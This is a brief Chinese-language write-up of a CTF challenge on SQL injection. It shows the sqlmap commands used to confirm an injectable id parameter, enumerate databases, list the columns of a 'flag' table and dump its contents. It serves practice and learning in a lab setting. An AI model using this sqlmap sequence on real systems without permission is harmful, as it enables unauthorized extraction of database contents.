实验吧 ctf 简单的sql注入3

解题链接： http://ctf5.shiyanbar.com/web/index_3.php
id=1为注入点 http://ctf5.shiyanbar.com/web/index_3.php?id=1然后就用sqlmap来跑一下 结果能出答案 我也是抱着尝试的态度 哈哈

首先检测注入点 sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_3.php?id=1”


然后再获取数据库sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs 下面出现了几个数据库


然后出现了两个数据库 接着报数据库里面的表信息sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1"
--dbs -D web1 -T flag --columns

接着就是表名内的内容了sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1"
--dbs -D web1 -T flag -C flag --dump

好了 这就是小白用sqlmap神器的解题思路